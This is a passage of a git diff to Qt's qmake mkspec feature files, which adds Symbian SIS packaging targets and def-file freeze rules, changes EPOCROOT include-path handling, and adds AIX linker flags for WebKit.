@@ -9,3 +9,6 @@ QMAKE_YACCFLAGS		+= -d
 QMAKE_YACCFLAGS_MANGLE  += -p $base -b $base
 QMAKE_YACC_HEADER       = $base.tab.h
 QMAKE_YACC_SOURCE       = $base.tab.c
+QMAKE_PREFIX_SHLIB      = lib
+QMAKE_PREFIX_STATICLIB  = lib
+QMAKE_EXTENSION_STATICLIB = a
diff --git a/mkspecs/features/qt.prf b/mkspecs/features/qt.prf
index cf32685..62cce62 100644
--- a/mkspecs/features/qt.prf
+++ b/mkspecs/features/qt.prf
@@ -166,8 +166,14 @@ for(QTLIB, $$list($$lower($$unique(QT)))) {
        # we bump the values for all Symbian Phonon plugins.
        symbian:isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x040000 0x1600000
 
-   } else:isEqual(QTLIB, webkit):qlib = QtWebKit
-   else:isEqual(QTLIB, declarative):qlib = QtDeclarative
+   } else:isEqual(QTLIB, webkit) {
+       qlib = QtWebKit
+       aix-xlc {
+           # Flags recommended by IBM when using WebKit
+	   QMAKE_LFLAGS -= -bmaxdata:0x80000000
+	   QMAKE_LFLAGS += -bmaxdata:0xD0000000/dsa
+       }
+   } else:isEqual(QTLIB, declarative):qlib = QtDeclarative
    else:isEqual(QTLIB, multimedia):qlib = QtMultimedia
    else:message("Unknown QT: $$QTLIB"):qlib =
    !isEmpty(qlib) {
diff --git a/mkspecs/features/resources.prf b/mkspecs/features/resources.prf
index 8ccd576..eb33aab 100644
--- a/mkspecs/features/resources.prf
+++ b/mkspecs/features/resources.prf
@@ -1,6 +1,6 @@
 isEmpty(QMAKE_RCC) {
-    win32:QMAKE_RCC = $$[QT_INSTALL_BINS]\rcc.exe
-    else:QMAKE_RCC = $$[QT_INSTALL_BINS]/rcc
+    win32:QMAKE_RCC = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}rcc.exe
+    else:QMAKE_RCC = $$[QT_INSTALL_BINS]$${DIR_SEPARATOR}rcc
 }
 
 isEmpty(RCC_DIR):RCC_DIR = .
diff --git a/mkspecs/features/sis_targets.prf b/mkspecs/features/sis_targets.prf
new file mode 100644
index 0000000..66a7a9d
--- /dev/null
+++ b/mkspecs/features/sis_targets.prf
@@ -0,0 +1,139 @@
+# Sis file creation
+contains(TEMPLATE, app)|!isEmpty(DEPLOYMENT) {
+    symbian-abld|symbian-sbsv2 {
+        sis_destdir =
+        make_cache_name = .make.cache
+        sis_target.target = sis
+        sis_target.commands = $(if $(wildcard $$basename(TARGET)_template.pkg), \
+                                  $(if $(wildcard $$make_cache_name), \
+                                      $(MAKE) -f $(MAKEFILE) ok_sis MAKEFILES=$$make_cache_name \
+                                  , \
+                                      $(if $(QT_SIS_TARGET), \
+                                          $(MAKE) -f $(MAKEFILE) ok_sis \
+                                      , \
+                                          $(MAKE) -f $(MAKEFILE) fail_sis_nocache \
+                                      ) \
+                                  ) \
+                              , \
+                                  $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
+                              )
+
+        ok_sis_target.target = ok_sis
+        ok_sis_target.commands = createpackage.bat $(QT_SIS_OPTIONS) $$basename(TARGET)_template.pkg \
+                                     $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
+
+        target_sis_target.target = $${sis_destdir}$${TARGET}.sis
+        target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis
+
+        installer_sis_target.target = installer_sis
+        installer_sis_target.commands = $(if $(wildcard $$basename(TARGET)_installer.pkg), \
+                                            $(MAKE) -f $(MAKEFILE) ok_installer_sis \
+                                        , \
+                                            $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
+                                        )
+        installer_sis_target.depends = $${sis_destdir}$${TARGET}.sis
+
+        ok_installer_sis_target.target = ok_installer_sis
+        ok_installer_sis_target.commands = createpackage.bat $(QT_SIS_OPTIONS) $$basename(TARGET)_installer.pkg - \
+                                               $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
+
+        fail_sis_nopkg_target.target = fail_sis_nopkg
+        fail_sis_nopkg_target.commands = "$(error PKG file does not exist, 'sis' and 'installer_sis' target are only supported for executables or projects with DEPLOYMENT statement)"
+
+        fail_sis_nocache_target.target = fail_sis_nocache
+        fail_sis_nocache_target.commands = "$(error Project has to be built or QT_SIS_TARGET environment variable has to be set before calling 'SIS' target)"
+
+        stub_sis_target.target = stub_sis
+        stub_sis_target.commands = $(if $(wildcard $$basename(TARGET)_template.pkg), \
+                                       $(if $(wildcard $$make_cache_name), \
+                                           $(MAKE) -f $(MAKEFILE) ok_stub_sis MAKEFILES=$$make_cache_name \
+                                       , \
+                                           $(if $(QT_SIS_TARGET), \
+                                               $(MAKE) -f $(MAKEFILE) ok_stub_sis \
+                                           , \
+                                               $(MAKE) -f $(MAKEFILE) fail_sis_nocache \
+                                           ) \
+                                       ) \
+                                   , \
+                                       $(MAKE) -f $(MAKEFILE) fail_sis_nopkg \
+                                   )
+
+        ok_stub_sis_target.target = ok_stub_sis
+        ok_stub_sis_target.commands = createpackage.bat -s $(QT_SIS_OPTIONS) $$basename(TARGET)_template.pkg \
+                                          $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
+
+        QMAKE_EXTRA_TARGETS += sis_target \
+                               ok_sis_target \
+                               target_sis_target \
+                               installer_sis_target \
+                               ok_installer_sis_target \
+                               fail_sis_nopkg_target \
+                               fail_sis_nocache_target \
+                               stub_sis_target \
+                               ok_stub_sis_target
+        # Sbsv2 has its own store_build target which is using flms.
+        !symbian-sbsv2 {
+            contains(QMAKE_HOST.os, "Windows") {
+                shellFixedHash = $${LITERAL_HASH}
+            } else {
+                shellFixedHash = \\$${LITERAL_HASH}
+            }
+            store_build_target.target = store_build
+            store_build_target.commands = \
+                  @echo $${shellFixedHash} ============================================================================== > $$make_cache_name \
+                && echo $${shellFixedHash}   This file is generated by make and should not be modified by the user >> $$make_cache_name \
+                && echo $${shellFixedHash}  Name        : $$make_cache_name >> $$make_cache_name \
+                && echo $${shellFixedHash}  Part of     : lineedits >> $$make_cache_name \
+                && echo $${shellFixedHash}  Description : This file is used to cache last build target for >> $$make_cache_name \
+                && echo $${shellFixedHash}                make sis target. >> $$make_cache_name \
+                && echo $${shellFixedHash}  Version     :  >> $$make_cache_name \
+                && echo $${shellFixedHash} >> $$make_cache_name \
+                && echo $${shellFixedHash} ============================================================================== >> $$make_cache_name \
+                && echo. >> $$make_cache_name \
+                && echo QT_SIS_TARGET ?= $(QT_SIS_TARGET) >> $$make_cache_name
+
+            QMAKE_EXTRA_TARGETS += store_build_target
+        }
+    } else {
+        sis_destdir = $$DESTDIR
+        !isEmpty(sis_destdir):!contains(sis_destdir, "[/\\]$"):sis_destdir = $${sis_destdir}/
+        contains(QMAKE_HOST.os, "Windows"):sis_destdir = $$replace(sis_destdir, "/", "\\")
+
+        sis_target.target = sis
+        sis_target.commands = createpackage $(QT_SIS_OPTIONS) $$basename(TARGET)_template.pkg \
+                                  - $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
+        sis_target.depends = first
+
+        target_sis_target.target = $${sis_destdir}$${TARGET}.sis
+        target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis
+
+        installer_sis_target.target = installer_sis
+        installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) $$basename(TARGET)_installer.pkg - \
+                                            $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE)
+        installer_sis_target.depends = $${sis_destdir}$${TARGET}.sis
+
+        !isEmpty(DESTDIR) {
+            sis_target.commands += && $$QMAKE_MOVE $$basename(TARGET).sis $$DESTDIR
+            installer_sis_target.commands += && $$QMAKE_MOVE $$basename(TARGET).sis $$DESTDIR
+        }
+
+        QMAKE_EXTRA_TARGETS += sis_target \
+                               target_sis_target \
+                               installer_sis_target
+    }
+} else {
+    contains(TEMPLATE, subdirs) {
+        # Enable recursive sis target.
+        sis_target.CONFIG = recursive
+        sis_target.recurse = $$SUBDIRS
+    } else {
+        # Make sure we build everything, since other sis targets in a recursive invocation
+        # may depend on them, even if this one is empty.
+        sis_target.depends = first
+    }
+    sis_target.commands =
+    sis_target.target = sis
+    QMAKE_EXTRA_TARGETS += sis_target
+}
+
+QMAKE_DISTCLEAN += $${sis_destdir}$${TARGET}.sis
diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
index ebef8b2..9979f40 100644
--- a/mkspecs/features/symbian/application_icon.prf
+++ b/mkspecs/features/symbian/application_icon.prf
@@ -15,36 +15,53 @@ contains( CONFIG, no_icon ) {
         }
 
         # Try to produce indentical string to fixedTarget in SymbianMakefileGenerator, replaced chars taken
-        # from SymbianMakefileGenerator::removeSpecialCharacters.
+        # from SymbianCommonGenerator::removeSpecialCharacters.
         #
         # Note: it is not a major problem even baseTarget is not 100% identical to fixedTarget since qmake
         # only uses filename from RSS_RULES.icon_file when referring to icon file name.
         baseTarget = $$basename(TARGET)
         baseTarget = $$replace(baseTarget, /,_)
         baseTarget = $$replace(baseTarget, \\,_)
-        baseTarget = $$replace(baseTarget, -,_)
-        baseTarget = $$replace(baseTarget, :,_)
-        baseTarget = $$replace(baseTarget, \.,_)
         baseTarget = $$replace(baseTarget, " ",_)
+        symbian-abld|symbian-sbsv2 {
+            baseTarget = $$replace(baseTarget, -,_)
+            baseTarget = $$replace(baseTarget, \.,_)
+            baseTarget = $$replace(baseTarget, :,_)
+        }
 
         # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
-        symbian-abld {
+        !symbian-sbsv2 {
+            !contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON #absolute path
             #Makefile: requires paths with backslash
-            contains(QMAKE_HOST.os, "Windows"):ICON = $$replace(ICON, /, \\)
+            ICON_backslashed = $$ICON
+
+            symbian-abld {
+                mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
+            } else {
+                isEmpty(DESTDIR) {
+                    mifIconZDir = .
+                } else {
+                    mifIconZDir = $$DESTDIR
+                }
+            }
 
             # Extra compiler rules for mifconv
-            mifconv.output = ${ZDIR}$$APP_RESOURCE_DIR/$${baseTarget}.mif
+            mifconv.target = $$mifIconZDir/$${baseTarget}.mif
+            contains(QMAKE_HOST.os, "Windows") {
+                ICON_backslashed = $$replace(ICON_backslashed, /, \\)
+                mifconv.target = $$replace(mifconv.target, /, \\)
+            }
             # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
             # svg-t icons should always use /c32 depth
-            mifconv.commands = mifconv ${QMAKE_FILE_OUT} /c32 ${QMAKE_FILE_IN}
-            mifconv.input = ICON
-            mifconv.CONFIG = no_link combine
-            # target_predeps together with combine seems not to work correctly, lets define it by ourselves
-            PRE_TARGETDEPS += $$mifconv.output
-            QMAKE_EXTRA_COMPILERS += mifconv
+            mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
+
+            mifconv.depends = $$ICON
+            PRE_TARGETDEPS += $$mifconv.target
+            QMAKE_EXTRA_TARGETS += mifconv
+            QMAKE_DISTCLEAN += $$mifconv.target
         }
         # Rules to use generated MIF file from symbian resources
-        RSS_RULES.number_of_icons = $$size(ICON)
+        RSS_RULES.number_of_icons = $$size(ICON_backslashed)
         RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
     }
 }
diff --git a/mkspecs/features/symbian/data_caging_paths.prf b/mkspecs/features/symbian/data_caging_paths.prf
index 3ed5661..ae9bc09 100644
--- a/mkspecs/features/symbian/data_caging_paths.prf
+++ b/mkspecs/features/symbian/data_caging_paths.prf
@@ -74,7 +74,8 @@ exists($${EPOCROOT}epoc32/include/data_caging_paths.prf) {
     BOOTDATA_DIR            = /resource/bootdata
 }
 
-isEmpty(QT_PLUGINS_BASE_DIR): QT_PLUGINS_BASE_DIR = /$$RESOURCE_FILES_DIR/qt/plugins
+isEmpty(QT_PLUGINS_BASE_DIR): QT_PLUGINS_BASE_DIR = /$$RESOURCE_FILES_DIR/qt$${QT_LIBINFIX}/plugins
+isEmpty(QT_IMPORTS_BASE_DIR): QT_IMPORTS_BASE_DIR = /$$RESOURCE_FILES_DIR/qt/imports
 isEmpty(HW_ZDIR): HW_ZDIR = epoc32/data/z
 isEmpty(REG_RESOURCE_DIR): REG_RESOURCE_DIR = /private/10003a3f/apps
 isEmpty(REG_RESOURCE_IMPORT_DIR): REG_RESOURCE_IMPORT_DIR = /private/10003a3f/import/apps
\ No newline at end of file
diff --git a/mkspecs/features/symbian/debug.prf b/mkspecs/features/symbian/debug.prf
new file mode 100644
index 0000000..b5afeb6
--- /dev/null
+++ b/mkspecs/features/symbian/debug.prf
@@ -0,0 +1 @@
+QMAKE_LIBDIR        += $${EPOCROOT}epoc32/release/armv5/udeb
diff --git a/mkspecs/features/symbian/def_files.prf b/mkspecs/features/symbian/def_files.prf
index 48d91aa..a1f0c8d 100644
--- a/mkspecs/features/symbian/def_files.prf
+++ b/mkspecs/features/symbian/def_files.prf
@@ -3,32 +3,75 @@
 
 CONFIG -= def_files_disabled
 
-# Firstly, if the MMP_RULES already contain a defBlock variable, don't generate another one
-# (this bit is slightly magic, because it depends upon everyone creating their DEFFILE statements
-# in a defBlock variable; but otherwise we have to expand MMP_RULES then scan for the DEFFILE keyword)
-!contains(MMP_RULES, defBlock) {
-    # Apps are executables on Symbian, so don't have exports, and therefore don't have DEF files
-    # Plugins use standard DEF files, which qmake generates, so shouldn't be using these DEFFILE
-    # statements - they use the qmake generated statements instead
-    # Static libraries obviously don't have DEF files, as they don't take part in dynamic linkage
-    !contains(TEMPLATE, app):!contains(CONFIG, plugin):!contains(CONFIG, staticlib): {
-        !isEmpty(defFilePath) {
-            defBlock = \
-            "$${LITERAL_HASH}ifdef WINSCW" \
-            "DEFFILE $$defFilePath/bwins/$${TARGET}.def" \
-            "$${LITERAL_HASH}elif defined EABI" \
-            "DEFFILE $$defFilePath/eabi/$${TARGET}.def" \
-            "$${LITERAL_HASH}endif"
-        } else {
-            # If defFilePath is not defined, then put the folders containing the DEF files at the
-            # same level as the .pro (and generated MMP) file(s)
-            defBlock = \
-            "$${LITERAL_HASH}ifdef WINSCW" \
-            "DEFFILE ./bwins/$${TARGET}.def" \
-            "$${LITERAL_HASH}elif defined EABI" \
-            "DEFFILE ./eabi/$${TARGET}.def" \
-            "$${LITERAL_HASH}endif"
+symbian-abld|symbian-sbsv2 {
+    # Firstly, if the MMP_RULES already contain a defBlock variable, don't generate another one
+    # (this bit is slightly magic, because it depends upon everyone creating their DEFFILE statements
+    # in a defBlock variable; but otherwise we have to expand MMP_RULES then scan for the DEFFILE keyword)
+    !contains(MMP_RULES, defBlock) {
+        # Apps are executables on Symbian, so don't have exports, and therefore don't have DEF files
+        # Plugins use standard DEF files, which qmake generates, so shouldn't be using these DEFFILE
+        # statements - they use the qmake generated statements instead
+        # Static libraries obviously don't have DEF files, as they don't take part in dynamic linkage
+        !contains(TEMPLATE, app):!contains(CONFIG, plugin):!contains(CONFIG, staticlib): {
+            !isEmpty(DEF_FILE) {
+                defBlock = \
+                "$${LITERAL_HASH}ifdef WINSCW" \
+                "DEFFILE $$DEF_FILE/bwins/$${TARGET}.def" \
+                "$${LITERAL_HASH}elif defined EABI" \
+                "DEFFILE $$DEF_FILE/eabi/$${TARGET}.def" \
+                "$${LITERAL_HASH}endif"
+            } else:!isEmpty(defFilePath) {
+                defBlock = \
+                "$${LITERAL_HASH}ifdef WINSCW" \
+                "DEFFILE $$defFilePath/bwins/$${TARGET}.def" \
+                "$${LITERAL_HASH}elif defined EABI" \
+                "DEFFILE $$defFilePath/eabi/$${TARGET}.def" \
+                "$${LITERAL_HASH}endif"
+            } else {
+                # If defFilePath is not defined, then put the folders containing the DEF files at the
+                # same level as the .pro (and generated MMP) file(s)
+                defBlock = \
+                "$${LITERAL_HASH}ifdef WINSCW" \
+                "DEFFILE ./bwins/$${TARGET}.def" \
+                "$${LITERAL_HASH}elif defined EABI" \
+                "DEFFILE ./eabi/$${TARGET}.def" \
+                "$${LITERAL_HASH}endif"
+            }
+            MMP_RULES += defBlock
         }
-        MMP_RULES += defBlock
     }
+
+} else:contains(TEMPLATE, lib):!contains(CONFIG, static):!contains(CONFIG, staticlib) {
+    !isEmpty(DEF_FILE) {
+        defFile = $$DEF_FILE
+    } else {
+        defFile = .
+    }
+    system("$$QMAKE_CHK_DIR_EXISTS $$_PRO_FILE_PWD_/$$defFile") {
+        !exists("$$_PRO_FILE_PWD_/$$defFile/eabi") {
+            system("$$QMAKE_MKDIR $$_PRO_FILE_PWD_/$$defFile/eabi")
+        }
+        elf2e32FileToAdd = $$_PRO_FILE_PWD_/$$defFile/eabi/$$basename(TARGET)u.def
+    } else {
+        elf2e32FileToAdd = $$_PRO_FILE_PWD_/$$defFile
+    }
+    QMAKE_ELF2E32_FLAGS += "`test -e $$elf2e32FileToAdd && echo --definput=$$elf2e32FileToAdd`"
+
+    symbianObjdir = $$OBJECTS_DIR
+    isEmpty(symbianObjdir):symbianObjdir = .
+
+    freeze_target.target = freeze
+    freeze_target.depends = first
+    # The perl part is to convert to unix line endings and remove comments, which the s60 tools refuse to do.
+    freeze_target.commands = perl -n -e \'next if (/; NEW/); s/\r//g; if (/MISSING:(.*)/x) { print(\"\$\$1 ABSENT\\n\"); } else { print; }\' < $$symbianObjdir/$${TARGET}.def >  $$elf2e32FileToAdd
+    #QMAKE_EXTRA_TARGETS += freeze_target
+} else:contains(TEMPLATE, subdirs) {
+    freeze_target.target = freeze
+    freeze_target.CONFIG = recursive
+    freeze_target.recurse = $$SUBDIRS
+    #QMAKE_EXTRA_TARGETS += freeze_target
+} else {
+    freeze_target.target = freeze
+    freeze_target.commands =
+    #QMAKE_EXTRA_TARGETS += freeze_target
 }
diff --git a/mkspecs/features/symbian/default_post.prf b/mkspecs/features/symbian/default_post.prf
index 7c9e8ee..0564e9b 100644
--- a/mkspecs/features/symbian/default_post.prf
+++ b/mkspecs/features/symbian/default_post.prf
@@ -5,7 +5,7 @@ contains(TEMPLATE, ".*app") {
         QMAKE_LIBS +=
     } else:contains(QT, gui):contains(CONFIG,qt) {
         S60MAIN_LIBS = -leuser
-        QMAKE_LIBS += -lqtmain.lib $$S60MAIN_LIBS
+        QMAKE_LIBS += -lqtmain$${QT_LIBINFIX}.lib $$S60MAIN_LIBS
     } else {
         QMAKE_LIBS += $$QMAKE_LIBS_QT_ENTRY
     }
@@ -28,4 +28,21 @@ contains(TEMPLATE, lib): {
 
 contains(TEMPLATE, ".*app"):contains(QT, gui):contains(CONFIG,qt) {
     load(application_icon.prf)
-}
\ No newline at end of file
+}
+
+isEmpty(TARGET.UID3):TARGET.UID3 = $$generate_uid("$${OUT_PWD}/$${TARGET}")
+isEmpty(TARGET.UID2) {
+    contains(CONFIG, stdbinary) {
+        TARGET.UID2 = 0x20004C45
+    } else {
+        contains(TEMPLATE, app) {
+            contains(QT, gui) {
+                TARGET.UID2 = 0x100039CE
+            } else {
+                TARGET.UID2 = 0
+            }
+        } else:contains(TEMPLATE, lib):!contains(CONFIG, static):!contains(CONFIG, staticlib) {
+            TARGET.UID2 = 0x1000008d
+        }
+    }
+}
diff --git a/mkspecs/features/symbian/do_not_build_as_thumb.prf b/mkspecs/features/symbian/do_not_build_as_thumb.prf
new file mode 100644
index 0000000..60d9382
--- /dev/null
+++ b/mkspecs/features/symbian/do_not_build_as_thumb.prf
@@ -0,0 +1,8 @@
+symbian-abld|symbian-sbsv2 {
+    MMP_RULES += ALWAYS_BUILD_AS_ARM
+} else:linux-armcc {
+    QMAKE_CFLAGS -= --thumb
+    QMAKE_CFLAGS += --arm
+    QMAKE_CXXFLAGS -= --thumb
+    QMAKE_CXXFLAGS += --arm
+}
diff --git a/mkspecs/features/symbian/moc.prf b/mkspecs/features/symbian/moc.prf
index 9c21ed7..29e0d8d 100644
--- a/mkspecs/features/symbian/moc.prf
+++ b/mkspecs/features/symbian/moc.prf
@@ -1,16 +1,18 @@
 load(moc)
 
-RET = $$find(MOC_DIR, "(/|^)\.[^/]+/?$")
-!isEmpty(RET):{
-    error("Symbian does not support directories starting with a dot. Please set MOC_DIR to a different value in your profile. MOC_DIR: $$MOC_DIR")
-}
+symbian-abld|symbian-sbsv2 {
+    RET = $$find(MOC_DIR, "(/|^)\.[^/]+/?$")
+    !isEmpty(RET):{
+        error("Symbian does not support directories starting with a dot. Please set MOC_DIR to a different value in your profile. MOC_DIR: $$MOC_DIR")
+    }
 
-RET = $$find(RCC_DIR, "(/|^)\.[^/]+/?$")
-!isEmpty(RET):{
-    error("Symbian does not support directories starting with a dot. Please set RCC_DIR to a different value in your profile. RCC_DIR: $$RCC_DIR")
-}
+    RET = $$find(RCC_DIR, "(/|^)\.[^/]+/?$")
+    !isEmpty(RET):{
+        error("Symbian does not support directories starting with a dot. Please set RCC_DIR to a different value in your profile. RCC_DIR: $$RCC_DIR")
+    }
 
-RET = $$find(OBJECTS_DIR, "(/|^)\.[^/]+/?$")
-!isEmpty(RET):{
-    error("Symbian does not support directories starting with a dot. Please set OBJECTS_DIR to a different value in your profile. OBJECTS_DIR: $$OBJECTS_DIR")
+    RET = $$find(OBJECTS_DIR, "(/|^)\.[^/]+/?$")
+    !isEmpty(RET):{
+        error("Symbian does not support directories starting with a dot. Please set OBJECTS_DIR to a different value in your profile. OBJECTS_DIR: $$OBJECTS_DIR")
+    }
 }
diff --git a/mkspecs/features/symbian/platform_paths.prf b/mkspecs/features/symbian/platform_paths.prf
index a55e842..f05a885 100644
--- a/mkspecs/features/symbian/platform_paths.prf
+++ b/mkspecs/features/symbian/platform_paths.prf
@@ -50,6 +50,12 @@
 #
 # ==============================================================================
 
+symbian-abld|symbian-sbsv2 {
+    epocroot_prefix = /
+} else {
+    epocroot_prefix = $${EPOCROOT}
+}
+
 exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
     
     # Load platform specific paths
@@ -66,10 +72,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(APP_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/app/$$1)
+             return ($${epocroot_prefix}epoc32/include/app/$$1)
         }
         defineReplace(APP_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/app/$$1)
+             return ($${epocroot_prefix}epoc32/include/app/$$1)
         }
 
         # ---------------------------------------
@@ -77,10 +83,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(APP_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/platform/app/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/app/$$1)
         }
         defineReplace(APP_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/platform/app/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/app/$$1)
         }
 
         # ---------------------------------------
@@ -88,10 +94,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(MW_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/mw/$$1)
+             return ($${epocroot_prefix}epoc32/include/mw/$$1)
         }
         defineReplace(MW_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/mw/$$1)
+             return ($${epocroot_prefix}epoc32/include/mw/$$1)
         }
 
         # ---------------------------------------
@@ -99,10 +105,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(MW_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/platform/mw/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/mw/$$1)
         }
         defineReplace(MW_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/platform/mw/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/mw/$$1)
         }
 
         # ---------------------------------------
@@ -110,11 +116,11 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(OSEXT_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/$$1)
+             return ($${epocroot_prefix}epoc32/include/$$1)
         }
         # WARNING: If the following path changes see the exists() function around line 219
         defineReplace(OS_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/$$1)
+             return ($${epocroot_prefix}epoc32/include/$$1)
         }
 
         # ---------------------------------------
@@ -122,10 +128,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(OSEXT_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/platform/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/$$1)
         }
         defineReplace(OS_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/platform/$$1)
+             return ($${epocroot_prefix}epoc32/include/platform/$$1)
         }
 
         # ---------------------------------------
@@ -152,18 +158,18 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # the headers come from middleware or os-layer  => thus they are first.
 
         APP_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/mw \
-         /epoc32/include/platform/mw \
-         /epoc32/include/platform \
-         /epoc32/include/app \
-         /epoc32/include/platform/app \
-         /epoc32/include/platform/loc \
-         /epoc32/include/platform/mw/loc \
-         /epoc32/include/platform/app/loc \
-         /epoc32/include/platform/loc/sc \
-         /epoc32/include/platform/mw/loc/sc \
-         /epoc32/include/platform/app/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/mw \
+         $${epocroot_prefix}epoc32/include/platform/mw \
+         $${epocroot_prefix}epoc32/include/platform \
+         $${epocroot_prefix}epoc32/include/app \
+         $${epocroot_prefix}epoc32/include/platform/app \
+         $${epocroot_prefix}epoc32/include/platform/loc \
+         $${epocroot_prefix}epoc32/include/platform/mw/loc \
+         $${epocroot_prefix}epoc32/include/platform/app/loc \
+         $${epocroot_prefix}epoc32/include/platform/loc/sc \
+         $${epocroot_prefix}epoc32/include/platform/mw/loc/sc \
+         $${epocroot_prefix}epoc32/include/platform/app/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the middleware-layer. It includes all 
@@ -171,14 +177,14 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # middleware-layer components. 
 
         MW_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/mw \
-         /epoc32/include/platform/mw \
-         /epoc32/include/platform \
-         /epoc32/include/platform/loc \
-         /epoc32/include/platform/mw/loc \
-         /epoc32/include/platform/loc/sc \
-         /epoc32/include/platform/mw/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/mw \
+         $${epocroot_prefix}epoc32/include/platform/mw \
+         $${epocroot_prefix}epoc32/include/platform \
+         $${epocroot_prefix}epoc32/include/platform/loc \
+         $${epocroot_prefix}epoc32/include/platform/mw/loc \
+         $${epocroot_prefix}epoc32/include/platform/loc/sc \
+         $${epocroot_prefix}epoc32/include/platform/mw/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the  osextensions-layer. It includes all
@@ -186,10 +192,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # os-layer components. 
 
         OS_LAYER_SYSTEMINCLUDE = \
-         /epoc32/include \
-         /epoc32/include/platform \
-         /epoc32/include/platform/loc \
-         /epoc32/include/platform/loc/sc
+         $${epocroot_prefix}epoc32/include \
+         $${epocroot_prefix}epoc32/include/platform \
+         $${epocroot_prefix}epoc32/include/platform/loc \
+         $${epocroot_prefix}epoc32/include/platform/loc/sc
 
         # This define statements defines the include paths, which are intended to be
         # used in the pro-files that are part of the os-layer. This is intended 
@@ -198,7 +204,7 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # 2 files already contain the /epoc32/include  as system include path.
 
         OS_LAYER_KERNEL_SYSTEMINCLUDE = \
-         /epoc32/include/platform
+         $${epocroot_prefix}epoc32/include/platform
 
 
         # ---------------------------------------
@@ -237,10 +243,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(APP_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/applications/$$1)
+             return ($${epocroot_prefix}epoc32/include/applications/$$1)
         }
         defineReplace(APP_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/applications/$$1)
+             return ($${epocroot_prefix}epoc32/include/applications/$$1)
         }
 
         # ---------------------------------------
@@ -248,10 +254,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(APP_LAYER_DOMAIN_EXPORT_PATH) {
-             return (/epoc32/include/domain/applications/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/applications/$$1)
         }
         defineReplace(APP_LAYER_PLATFORM_EXPORT_PATH) {
-             return (/epoc32/include/domain/applications/$$1)
+             return ($${epocroot_prefix}epoc32/include/domain/applications/$$1)
         }
 
         # ---------------------------------------
@@ -259,10 +265,10 @@ exists($${EPOCROOT}epoc32/include/platform_paths.prf) {
         # ---------------------------------------
 
         defineReplace(MW_LAYER_SDK_EXPORT_PATH) {
-             return (/epoc32/include/middleware/$$1)
+             return ($${epocroot_prefix}epoc32/include/middleware/$$1)
         }
         defineReplace(MW_LAYER_PUBLIC_EXPORT_PATH) {
-             return (/epoc32/include/middleware/$$1)
+             return ($${epocroot_prefix}epoc32/include/middleware/$$1)
         }
 
         # ---------------------------------------
